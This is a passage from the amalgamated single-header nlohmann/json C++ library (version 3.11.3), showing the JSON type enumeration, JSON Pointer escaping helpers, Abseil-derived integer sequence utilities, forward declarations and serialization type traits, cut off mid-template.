JSON_USE_IMPLICIT_CONVERSIONS\n#define JSON_USE_IMPLICIT_CONVERSIONS 1\n#endif\n\n#if JSON_USE_IMPLICIT_CONVERSIONS\n#define JSON_EXPLICIT\n#else\n#define JSON_EXPLICIT explicit\n#endif\n\n#ifndef JSON_DISABLE_ENUM_SERIALIZATION\n#define JSON_DISABLE_ENUM_SERIALIZATION 0\n#endif\n\n#ifndef JSON_USE_GLOBAL_UDLS\n#define JSON_USE_GLOBAL_UDLS 1\n#endif\n\n#if JSON_HAS_THREE_WAY_COMPARISON\n#include <compare> // partial_ordering\n#endif\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    ///////////////////////////\n    // JSON type enumeration //\n    ///////////////////////////\n\n    /*!\n    @brief the JSON type enumeration\n\n    This enumeration collects the different JSON types. It is internally used to\n    distinguish the stored values, and the functions @ref basic_json::is_null(),\n    @ref basic_json::is_object(), @ref basic_json::is_array(),\n    @ref basic_json::is_string(), @ref basic_json::is_boolean(),\n    @ref basic_json::is_number() (with @ref basic_json::is_number_integer(),\n    @ref basic_json::is_number_unsigned(), and @ref basic_json::is_number_float()),\n    @ref basic_json::is_discarded(), @ref basic_json::is_primitive(), and\n    @ref basic_json::is_structured() rely on it.\n\n    @note There are three enumeration entries (number_integer, number_unsigned, and\n    number_float), because the library distinguishes these three types for numbers:\n    @ref basic_json::number_unsigned_t is used for unsigned integers,\n    @ref basic_json::number_integer_t is used for signed integers, and\n    @ref basic_json::number_float_t is used for floating-point numbers or to\n    approximate integers which do not fit in the limits of their respective type.\n\n    @sa see @ref basic_json::basic_json(const value_t value_type) -- create a JSON\n    value with the default value for a given type\n\n    @since version 1.0.0\n    */\n    enum class value_t : std::uint8_t\n    {\n        null,             ///< null value\n        object,           ///< object (unordered set of name/value pairs)\n        array,            ///< array (ordered collection of values)\n        string,           ///< string value\n        boolean,          ///< boolean value\n        number_integer,   ///< number value (signed integer)\n        number_unsigned,  ///< number value (unsigned integer)\n        number_float,     ///< number value (floating-point)\n        binary,           ///< binary array (ordered collection of bytes)\n        discarded         ///< discarded by the parser callback function\n    };\n\n    /*!\n    @brief comparison operator for JSON types\n\n    Returns an ordering that is similar to Python:\n    - order: null < boolean < number < object < array < string < binary\n    - furthermore, each type is not smaller than itself\n    - discarded values are not comparable\n    - binary is represented as a b\"\" string in python and directly comparable to a\n      string; however, making a binary array directly comparable with a string would\n      be surprising behavior in a JSON file.\n\n    @since version 1.0.0\n    */\n#if JSON_HAS_THREE_WAY_COMPARISON\n    inline std::partial_ordering operator<=>(const value_t lhs, const value_t rhs) noexcept // *NOPAD*\n#else\n    inline bool operator<(const value_t lhs, const value_t rhs) noexcept\n#endif\n    {\n        static constexpr std::array<std::uint8_t, 9> order = { {\n                0 /* null */, 3 /* object */, 4 /* array */, 5 /* string */,\n                1 /* boolean */, 2 /* integer */, 2 /* unsigned */, 2 /* float */,\n                6 /* binary */\n            }\n        };\n\n        const auto l_index = static_cast<std::size_t>(lhs);\n        const auto r_index = static_cast<std::size_t>(rhs);\n#if JSON_HAS_THREE_WAY_COMPARISON\n        if (l_index < order.size() && r_index < order.size())\n        {\n            return order[l_index] <=> order[r_index]; // *NOPAD*\n        }\n        return std::partial_ordering::unordered;\n#else\n        return l_index < order.size() && r_index < order.size() && order[l_index] < order[r_index];\n#endif\n    }\n\n    // GCC selects the built-in operator< over an operator rewritten from\n    // a user-defined spaceship operator\n    // Clang, MSVC, and ICC select the rewritten candidate\n    // (see GCC bug https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105200)\n#if JSON_HAS_THREE_WAY_COMPARISON && defined(__GNUC__)\n    inline bool operator<(const value_t lhs, const value_t rhs) noexcept\n    {\n        return std::is_lt(lhs <=> rhs); // *NOPAD*\n    }\n#endif\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/string_escape.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /*!\n    @brief replace all occurrences of a substring by another string\n\n    @param[in,out] s  the string to manipulate; changed so that all\n                   occurrences of @a f are replaced with @a t\n    @param[in]     f  the substring to replace with @a t\n    @param[in]     t  the string to replace @a f\n\n    @pre The search string @a f must not be empty. **This precondition is\n    enforced with an assertion.**\n\n    @since version 2.0.0\n    */\n    template<typename StringType>\n    inline void replace_substring(StringType& s, const StringType& f,\n        const StringType& t)\n    {\n        JSON_ASSERT(!f.empty());\n        for (auto pos = s.find(f);                // find first occurrence of f\n            pos != StringType::npos;          // make sure f was found\n            s.replace(pos, f.size(), t),      // replace with t, and\n            pos = s.find(f, pos + t.size()))  // find next occurrence of f\n        {\n        }\n    }\n\n    /*!\n     * @brief string escaping as described in RFC 6901 (Sect. 4)\n     * @param[in] s string to escape\n     * @return    escaped string\n     *\n     * Note the order of escaping \"~\" to \"~0\" and \"/\" to \"~1\" is important.\n     */\n    template<typename StringType>\n    inline StringType escape(StringType s)\n    {\n        replace_substring(s, StringType{ \"~\" }, StringType{ \"~0\" });\n        replace_substring(s, StringType{ \"/\" }, StringType{ \"~1\" });\n        return s;\n    }\n\n    /*!\n     * @brief string unescaping as described in RFC 6901 (Sect. 4)\n     * @param[in] s string to unescape\n     * @return    unescaped string\n     *\n     * Note the order of escaping \"~1\" to \"/\" and \"~0\" to \"~\" is important.\n     */\n    template<typename StringType>\n    static void unescape(StringType& s)\n    {\n        replace_substring(s, StringType{ \"~1\" }, StringType{ \"/\" });\n        replace_substring(s, StringType{ \"~0\" }, StringType{ \"~\" });\n    }\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/input/position_t.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstddef> // size_t\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /// struct to capture the start position of the current token\n    struct position_t\n    {\n        /// the total number of characters read\n        std::size_t chars_read_total = 0;\n        /// the number of characters read in the current line\n        std::size_t chars_read_current_line = 0;\n        /// the number of lines read\n        std::size_t lines_read = 0;\n\n        /// conversion to size_t to preserve SAX interface\n        constexpr operator size_t() const\n        {\n            return chars_read_total;\n        }\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-FileCopyrightText: 2018 The Abseil Authors\n// SPDX-License-Identifier: MIT\n\n\n\n#include <array> // array\n#include <cstddef> // size_t\n#include <type_traits> // conditional, enable_if, false_type, integral_constant, is_constructible, is_integral, is_same, remove_cv, remove_reference, true_type\n#include <utility> // index_sequence, make_index_sequence, index_sequence_for\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    template<typename T>\n    using uncvref_t = typename std::remove_cv<typename std::remove_reference<T>::type>::type;\n\n#ifdef JSON_HAS_CPP_14\n\n    // the following utilities are natively available in C++14\n    using std::enable_if_t;\n    using std::index_sequence;\n    using std::make_index_sequence;\n    using std::index_sequence_for;\n\n#else\n\n    // alias templates to reduce boilerplate\n    template<bool B, typename T = void>\n    using enable_if_t = typename std::enable_if<B, T>::type;\n\n    // The following code is taken from https://github.com/abseil/abseil-cpp/blob/10cb35e459f5ecca5b2ff107635da0bfa41011b4/absl/utility/utility.h\n    // which is part of Google Abseil (https://github.com/abseil/abseil-cpp), licensed under the Apache License 2.0.\n\n    //// START OF CODE FROM GOOGLE ABSEIL\n\n    // integer_sequence\n    //\n    // Class template representing a compile-time integer sequence. An instantiation\n    // of `integer_sequence<T, Ints...>` has a sequence of integers encoded in its\n    // type through its template arguments (which is a common need when\n    // working with C++11 variadic templates). `absl::integer_sequence` is designed\n    // to be a drop-in replacement for C++14's `std::integer_sequence`.\n    //\n    // Example:\n    //\n    //   template< class T, T... Ints >\n    //   void user_function(integer_sequence<T, Ints...>);\n    //\n    //   int main()\n    //   {\n    //     // user_function's `T` will be deduced to `int` and `Ints...`\n    //     // will be deduced to `0, 1, 2, 3, 4`.\n    //     user_function(make_integer_sequence<int, 5>());\n    //   }\n    template <typename T, T... Ints>\n    struct integer_sequence\n    {\n        using value_type = T;\n        static constexpr std::size_t size() noexcept\n        {\n            return sizeof...(Ints);\n        }\n    };\n\n    // index_sequence\n    //\n    // A helper template for an `integer_sequence` of `size_t`,\n    // `absl::index_sequence` is designed to be a drop-in replacement for C++14's\n    // `std::index_sequence`.\n    template <size_t... Ints>\n    using index_sequence = integer_sequence<size_t, Ints...>;\n\n    namespace utility_internal\n    {\n\n        template <typename Seq, size_t SeqSize, size_t Rem>\n        struct Extend;\n\n        // Note that SeqSize == sizeof...(Ints). It's passed explicitly for efficiency.\n        template <typename T, T... Ints, size_t SeqSize>\n        struct Extend<integer_sequence<T, Ints...>, SeqSize, 0>\n        {\n            using type = integer_sequence < T, Ints..., (Ints + SeqSize)... >;\n        };\n\n        template <typename T, T... Ints, size_t SeqSize>\n        struct Extend<integer_sequence<T, Ints...>, SeqSize, 1>\n        {\n            using type = integer_sequence < T, Ints..., (Ints + SeqSize)..., 2 * SeqSize >;\n        };\n\n        // Recursion helper for 'make_integer_sequence<T, N>'.\n        // 'Gen<T, N>::type' is an alias for 'integer_sequence<T, 0, 1, ... N-1>'.\n        template <typename T, size_t N>\n        struct Gen\n        {\n            using type =\n                typename Extend < typename Gen < T, N / 2 >::type, N / 2, N % 2 >::type;\n        };\n\n        template <typename T>\n        struct Gen<T, 0>\n        {\n            using type = integer_sequence<T>;\n        };\n\n    }  // namespace utility_internal\n\n    // Compile-time sequences of integers\n\n    // make_integer_sequence\n    //\n    // This template alias is equivalent to\n    // `integer_sequence<int, 0, 1, ..., N-1>`, and is designed to be a drop-in\n    // replacement for C++14's `std::make_integer_sequence`.\n    template <typename T, T N>\n    using make_integer_sequence = typename utility_internal::Gen<T, N>::type;\n\n    // make_index_sequence\n    //\n    // This template alias is equivalent to `index_sequence<0, 1, ..., N-1>`,\n    // and is designed to be a drop-in replacement for C++14's\n    // `std::make_index_sequence`.\n    template <size_t N>\n    using make_index_sequence = make_integer_sequence<size_t, N>;\n\n    // index_sequence_for\n    //\n    // Converts a typename pack into an index sequence of the same length, and\n    // is designed to be a drop-in replacement for C++14's\n    // `std::index_sequence_for()`\n    template <typename... Ts>\n    using index_sequence_for = make_index_sequence<sizeof...(Ts)>;\n\n    //// END OF CODE FROM GOOGLE ABSEIL\n\n#endif\n\n// dispatch utility (taken from ranges-v3)\n    template<unsigned N> struct priority_tag : priority_tag < N - 1 > {};\n    template<> struct priority_tag<0> {};\n\n    // taken from ranges-v3\n    template<typename T>\n    struct static_const\n    {\n        static JSON_INLINE_VARIABLE constexpr T value{};\n    };\n\n#ifndef JSON_HAS_CPP_17\n    template<typename T>\n    constexpr T static_const<T>::value;\n#endif\n\n    template<typename T, typename... Args>\n    inline constexpr std::array<T, sizeof...(Args)> make_array(Args&& ... args)\n    {\n        return std::array<T, sizeof...(Args)> {{static_cast<T>(std::forward<Args>(args))...}};\n    }\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <limits> // numeric_limits\n#include <type_traits> // false_type, is_constructible, is_integral, is_same, true_type\n#include <utility> // declval\n#include <tuple> // tuple\n#include <string> // char_traits\n\n// #include <nlohmann/detail/iterators/iterator_traits.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <iterator> // random_access_iterator_tag\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n// #include <nlohmann/detail/meta/void_t.hpp>\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    template<typename It, typename = void>\n    struct iterator_types {};\n\n    template<typename It>\n    struct iterator_types <\n        It,\n        void_t<typename It::difference_type, typename It::value_type, typename It::pointer,\n        typename It::reference, typename It::iterator_category >>\n    {\n        using difference_type = typename It::difference_type;\n        using value_type = typename It::value_type;\n        using pointer = typename It::pointer;\n        using reference = typename It::reference;\n        using iterator_category = typename It::iterator_category;\n    };\n\n    // This is required as some compilers implement std::iterator_traits in a way that\n    // doesn't work with SFINAE. See https://github.com/nlohmann/json/issues/1341.\n    template<typename T, typename = void>\n    struct iterator_traits\n    {\n    };\n\n    template<typename T>\n    struct iterator_traits < T, enable_if_t < !std::is_pointer<T>::value >>\n        : iterator_types<T>\n    {\n    };\n\n    template<typename T>\n    struct iterator_traits<T*, enable_if_t<std::is_object<T>::value>>\n    {\n        using iterator_category = std::random_access_iterator_tag;\n        using value_type = T;\n        using difference_type = ptrdiff_t;\n        using pointer = T*;\n        using reference = T&;\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/call_std/begin.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\nNLOHMANN_CAN_CALL_STD_FUNC_IMPL(begin);\n\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/meta/call_std/end.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\nNLOHMANN_CAN_CALL_STD_FUNC_IMPL(end);\n\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n\n// #include <nlohmann/detail/meta/detected.hpp>\n\n// #include <nlohmann/json_fwd.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n#ifndef INCLUDE_NLOHMANN_JSON_FWD_HPP_\n#define INCLUDE_NLOHMANN_JSON_FWD_HPP_\n\n#include <cstdint> // int64_t, uint64_t\n#include <map> // map\n#include <memory> // allocator\n#include <string> // string\n#include <vector> // vector\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\n/*!\n@brief namespace for Niels Lohmann\n@see https://github.com/nlohmann\n@since version 1.0.0\n*/\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\n/*!\n@brief default JSONSerializer template argument\n\nThis serializer ignores the template arguments and uses ADL\n([argument-dependent lookup](https://en.cppreference.com/w/cpp/language/adl))\nfor serialization.\n*/\ntemplate<typename T = void, typename SFINAE = void>\nstruct adl_serializer;\n\n/// a class to store JSON values\n/// @sa https://json.nlohmann.me/api/basic_json/\ntemplate<template<typename U, typename V, typename... Args> class ObjectType =\n    std::map,\n    template<typename U, typename... Args> class ArrayType = std::vector,\n    class StringType = std::string, class BooleanType = bool,\n    class NumberIntegerType = std::int64_t,\n    class NumberUnsignedType = std::uint64_t,\n    class NumberFloatType = double,\n    template<typename U> class AllocatorType = std::allocator,\n    template<typename T, typename SFINAE = void> class JSONSerializer =\n    adl_serializer,\n    class BinaryType = std::vector<std::uint8_t>, // cppcheck-suppress syntaxError\n    class CustomBaseClass = void>\nclass basic_json;\n\n/// @brief JSON Pointer defines a string syntax for identifying a specific value within a JSON document\n/// @sa https://json.nlohmann.me/api/json_pointer/\ntemplate<typename RefStringType>\nclass json_pointer;\n\n/*!\n@brief default specialization\n@sa https://json.nlohmann.me/api/json/\n*/\nusing json = basic_json<>;\n\n/// @brief a minimal map-like container that preserves insertion order\n/// @sa https://json.nlohmann.me/api/ordered_map/\ntemplate<class Key, class T, class IgnoredLess, class Allocator>\nstruct ordered_map;\n\n/// @brief specialization that maintains the insertion order of object keys\n/// @sa https://json.nlohmann.me/api/ordered_json/\nusing ordered_json = basic_json<nlohmann::ordered_map>;\n\nNLOHMANN_JSON_NAMESPACE_END\n\n#endif  // INCLUDE_NLOHMANN_JSON_FWD_HPP_\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\n/*!\n@brief detail namespace with internal helper functions\n\nThis namespace collects functions that should not be exposed,\nimplementations of some @ref basic_json methods, and meta-programming helpers.\n\n@since version 2.1.0\n*/\nnamespace detail\n{\n\n    /////////////\n    // helpers //\n    /////////////\n\n    // Note to maintainers:\n    //\n    // Every trait in this file expects a non CV-qualified type.\n    // The only exceptions are in the 'aliases for detected' section\n    // (i.e. those of the form: decltype(T::member_function(std::declval<T>())))\n    //\n    // In this case, T has to be properly CV-qualified to constraint the function arguments\n    // (e.g. to_json(BasicJsonType&, const T&))\n\n    template<typename> struct is_basic_json : std::false_type {};\n\n    NLOHMANN_BASIC_JSON_TPL_DECLARATION\n        struct is_basic_json<NLOHMANN_BASIC_JSON_TPL> : std::true_type {};\n\n    // used by exceptions create() member functions\n    // true_type for pointer to possibly cv-qualified basic_json or std::nullptr_t\n    // false_type otherwise\n    template<typename BasicJsonContext>\n    struct is_basic_json_context :\n        std::integral_constant < bool,\n        is_basic_json<typename std::remove_cv<typename std::remove_pointer<BasicJsonContext>::type>::type>::value\n        || std::is_same<BasicJsonContext, std::nullptr_t>::value >\n    {\n    };\n\n    //////////////////////\n    // json_ref helpers //\n    //////////////////////\n\n    template<typename>\n    class json_ref;\n\n    template<typename>\n    struct is_json_ref : std::false_type {};\n\n    template<typename T>\n    struct is_json_ref<json_ref<T>> : std::true_type {};\n\n    //////////////////////////\n    // aliases for detected //\n    //////////////////////////\n\n    template<typename T>\n    using mapped_type_t = typename T::mapped_type;\n\n    template<typename T>\n    using key_type_t = typename T::key_type;\n\n    template<typename T>\n    using value_type_t = typename T::value_type;\n\n    template<typename T>\n    using difference_type_t = typename T::difference_type;\n\n    template<typename T>\n    using pointer_t = typename T::pointer;\n\n    template<typename T>\n    using reference_t = typename T::reference;\n\n    template<typename T>\n    using iterator_category_t = typename T::iterator_category;\n\n    template<typename T, typename... Args>\n    using to_json_function = decltype(T::to_json(std::declval<Args>()...));\n\n    template<typename T, typename... Args>\n    using from_json_function = decltype(T::from_json(std::declval<Args>()...));\n\n    template<typename T, typename U>\n    using get_template_function = decltype(std::declval<T>().template get<U>());\n\n    // trait checking if JSONSerializer<T>::from_json(json const&, udt&) exists\n    template<typename BasicJsonType, typename T, typename = void>\n    struct has_from_json : std::false_type {};\n\n    // trait checking if j.get<T> is valid\n    // use this trait instead of std::is_constructible or std::is_convertible,\n    // both rely on, or make use of implicit conversions, and thus fail when T\n    // has several constructors/operator= (see https://github.com/nlohmann/json/issues/958)\n    template <typename BasicJsonType, typename T>\n    struct is_getable\n    {\n        static constexpr bool value = is_detected<get_template_function, const BasicJsonType&, T>::value;\n    };\n\n    template<typename BasicJsonType, typename T>\n    struct has_from_json < BasicJsonType, T, enable_if_t < !is_basic_json<T>::value >>\n    {\n        using serializer = typename BasicJsonType::template json_serializer<T, void>;\n\n        static constexpr bool value =\n            is_detected_exact<void, from_json_function, serializer,\n            const BasicJsonType&, T&>::value;\n    };\n\n    // This trait checks if JSONSerializer<T>::from_json(json const&) exists\n    // this overload is used for non-default-constructible user-defined-types\n    template<typename BasicJsonType, typename T, typename = void>\n    struct has_non_default_from_json : std::false_type {};\n\n    template<typename BasicJsonType, typename T>\n    struct has_non_default_from_json < BasicJsonType, T, enable_if_t < !is_basic_json<T>::value >>\n    {\n        using serializer = typename BasicJsonType::template json_serializer<T, void>;\n\n        static constexpr bool value =\n            is_detected_exact<T, from_json_function, serializer,\n            const BasicJsonType&>::value;\n    };\n\n    // This trait checks if BasicJsonType::json_serializer<T>::to_json exists\n    // Do not evaluate the trait when T is a basic_json type, to avoid template instantiation infinite recursion.\n    template<typename BasicJsonType, typename T, typename = void>\n    struct has_to_json : std::false_type {};\n\n    template<typename BasicJsonType, typename T>\n    struct has_to_json < BasicJsonType, T, enable_if_t < !is_basic_json<T>::value >>\n    {\n        using serializer = typename BasicJsonType::template json_serializer<T, void>;\n\n        static constexpr bool value =\n            is_detected_exact<void, to_json_function, serializer, BasicJsonType&,\n            T>::value;\n    };\n\n    template<typename T>\n    using detect_key_compare = typename T::key_compare;\n\n    template<typename T>\n    struct has_key_compare : std::integral_constant<bool, is_detected<detect_key_compare, T>::value> {};\n\n    // obtains the actual object key comparator\n    template<typename BasicJsonType>\n    struct actual_object_comparator\n    {\n        using object_t = typename BasicJsonType::object_t;\n        using object_comparator_t = typename BasicJsonType::default_object_comparator_t;\n        using type = typename std::conditional < has_key_compare<object_t>::value,\n            typename object_t::key_compare, object_comparator_t>::type;\n    };\n\n    template<typename BasicJsonType>\n    using actual_object_comparator_t = typename actual_object_comparator<BasicJsonType>::type;\n\n    /////////////////\n    // char_traits //\n    /////////////////\n\n    // Primary template of char_traits calls std char_traits\n    template<typename T>\n    struct char_traits : std::char_traits<T>\n    {\n    };\n\n    // Explicitly define char traits for unsigned char since it is not standard\n    template<>\n    struct char_traits<unsigned char> : std::char_traits<char>\n    {\n        using char_type = unsigned char;\n        using int_type = uint64_t;\n\n        // Redefine to_int_type function\n        static int_type to_int_type(char_type c) noexcept\n        {\n            return static_cast<int_type>(c);\n        }\n\n        static char_type to_char_type(int_type i) noexcept\n        {\n            return static_cast<char_type>(i);\n        }\n\n        static constexpr int_type eof() noexcept\n        {\n            return static_cast<int_type>(EOF);\n        }\n    };\n\n    // Explicitly define char traits for signed char since it is not standard\n    template<>\n    struct char_traits<signed char> : std::char_traits<char>\n    {\n        using char_type = signed char;\n        using int_type = uint64_t;\n\n        // Redefine to_int_type function\n        static int_type to_int_type(char_type c) noexcept\n        {\n            return static_cast<int_type>(c);\n        }\n\n        static char_type to_char_type(int_type i) noexcept\n        {\n            return static_cast<char_type>(i);\n        }\n\n        static constexpr int_type eof() noexcept\n        {\n            return static_cast<int_type>(EOF);\n        }\n    };\n\n    ///////////////////\n    // is_ functions //\n    ///////////////////\n\n    // https://en.cppreference.com/w/cpp/types/conjunction\n    template<class...> struct conjunction : std::true_type {};\n    template<class B> struct conjunction<B> : B {};\n    template<class B, class... Bn>\n    struct conjunction<B, Bn...>\n        : std::conditional<static_cast<bool>(B::value), conjunction<Bn...>, B>::type {\n    };\n\n    // https://en.cppreference.com/w/cpp/types/negation\n    template<class B> struct negation : std::integral_constant < bool, !B::value > {};\n\n    // Reimplementation of is_constructible and is_default_constructible, due to them being broken for\n    // std::pair and std::tuple until LWG 2367 fix (see https://cplusplus.github.io/LWG/lwg-defects.html#2367).\n    // This causes compile errors in e.g. clang 3.5 or gcc 4.9.\n    template <typename T>\n    struct is_default_constructible : std::is_default_constructible<T> {};\n\n    template <typename T1, typename T2>\n    struct is_default_constructible<std::pair<T1, T2>>\n        : conjunction<is_default_constructible<T1>, is_default_constructible<T2>> {\n    };\n\n    template <typename T1, typename T2>\n    struct is_default_constructible<const std::pair<T1, T2>>\n        : conjunction<is_default_constructible<T1>, is_default_constructible<T2>> {\n    };\n\n    template <typename... Ts>\n    struct is_default_constructible<std::tuple<Ts...>>\n        : conjunction<is_default_constructible<Ts>...> {\n    };\n\n    template <typename... Ts>\n    struct is_default_constructible<const std::tuple<Ts...>>\n        : conjunction<is_default_constructible<Ts>...> {\n    };\n\n    template <typename T, typename... Args>\n    struct is_constructible : std::is_constructible<T, Args...> {};\n\n    template <typename T1, typename T2>\n    struct is_constructible<std::pair<T1, T2>> : is_default_constructible<std::pair<T1, T2>> {};\n\n    template <typename T1, typename T2>\n    struct is_constructible<const std::pair<T1, T2>> : is_default_constructible<const std::pair<T1, T2>> {};\n\n    template <typename... Ts>\n    struct is_constructible<std::tuple<Ts...>> : is_default_constructible<std::tuple<Ts...>> {};\n\n    template <typename... Ts>\n    struct is_constructible<const std::tuple<Ts...>> : is_default_constructible<const std::tuple<Ts...>> {};\n\n    template<typename T, typename = void>\n    struct is_iterator_traits : std::false_type {};\n\n    template<typename T>\n    struct is_iterator_traits<iterator_traits<T>>\n    {\n    private:\n        using traits = iterator_traits<T>;\n\n    public:\n        static constexpr auto value =\n            is_detected<value_type_t, traits>::value&&\n            is_detected<difference_type_t, traits>::value&&\n            is_detected<pointer_t, traits>::value&&\n            is_detected<iterator_category_t, traits>::value&&\n            is_detected<reference_t, traits>::value;\n    };\n\n    template<typename T>\n    struct is_range\n    {\n    private:\n        using t_ref = typename std::add_lvalue_reference<T>::type;\n\n        using iterator = detected_t<result_of_begin, t_ref>;\n        using sentinel = detected_t<result_of_end, t_ref>;\n\n        // to be 100% correct, it should use https://en.cppreference.com/w/cpp/iterator/input_or_output_iterator\n        // and https://en.cppreference.com/w/cpp/iterator/sentinel_for\n        // but reimplementing these would be too much work, as a lot of other concepts are used underneath\n        static constexpr auto is_iterator_begin =\n            is_iterator_traits<iterator_traits<iterator>>::value;\n\n    public:\n        static constexpr bool value = !std::is_same<iterator, nonesuch>::value && !std::is_same<sentinel, nonesuch>::value&& is_iterator_begin;\n    };\n\n    template<typename R>\n    using iterator_t = enable_if_t<is_range<R>::value, result_of_begin<decltype(std::declval<R&>())>>;\n\n    template<typename T>\n    using range_value_t = value_type_t<iterator_traits<iterator_t<T>>>;\n\n    // The following implementation of is_complete_type is taken from\n    // https://blogs.msdn.microsoft.com/vcblog/2015/12/02/partial-support-for-expression-sfinae-in-vs-2015-update-1/\n    // and is written by Xiang Fan who agreed to using it in this library.\n\n    template<typename T, typename = void>\n    struct is_complete_type : std::false_type {};\n\n    template<typename T>\n    struct is_complete_type<T, decltype(void(sizeof(T)))> : std::true_type {};\n\n    template<typename BasicJsonType, typename CompatibleObjectType,\n        typename = void>\n    struct is_compatible_object_type_impl : std::false_type {};\n\n    template<typename BasicJsonType, typename CompatibleObjectType>\n    struct is_compatible_object_type_impl <\n        BasicJsonType, CompatibleObjectType,\n        enable_if_t < is_detected<mapped_type_t, CompatibleObjectType>::value&&\n        is_detected<key_type_t, CompatibleObjectType>::value >>\n    {\n        using object_t = typename BasicJsonType::object_t;\n\n        // macOS's is_constructible does not play well with nonesuch...\n        static constexpr bool value =\n            is_constructible<typename object_t::key_type,\n            typename CompatibleObjectType::key_type>::value&&\n            is_constructible<typename object_t::mapped_type,\n            typename CompatibleObjectType::mapped_type>::value;\n    };\n\n    template<typename BasicJsonType, typename CompatibleObjectType>\n    struct is_compatible_object_type\n        : is_compatible_object_type_impl<BasicJsonType, CompatibleObjectType> {\n    };\n\n    template<typename BasicJsonType, typename ConstructibleObjectType,\n        typename = void>\n    struct is_constructible_object_type_impl : std::false_type {};\n\n    template<typename BasicJsonType, typename ConstructibleObjectType>\n    struct is_constructible_object_type_impl <\n        BasicJsonType, ConstructibleObjectType,\n        enable_if_t < is_detected<mapped_type_t, ConstructibleObjectType>::value&&\n        is_detected<key_type_t, ConstructibleObjectType>::value >>\n    {\n        using object_t = typename BasicJsonType::object_t;\n\n        static constexpr bool value =\n            (is_default_constructible<ConstructibleObjectType>::value &&\n                (std::is_move_assignable<ConstructibleObjectType>::value ||\n                    std::is_copy_assignable<ConstructibleObjectType>::value) &&\n                (is_constructible<typename ConstructibleObjectType::key_type,\n                    typename object_t::key_type>::value &&\n                    std::is_same <\n                    typename object_t::mapped_type,\n                    typename ConstructibleObjectType::mapped_type >::value)) ||\n            (has_from_json<BasicJsonType,\n                typename ConstructibleObjectType::mapped_type>::value ||\n                has_non_default_from_json <\n                BasicJsonType,\n                typename ConstructibleObjectType::mapped_type >::value);\n    };\n\n    template<typename 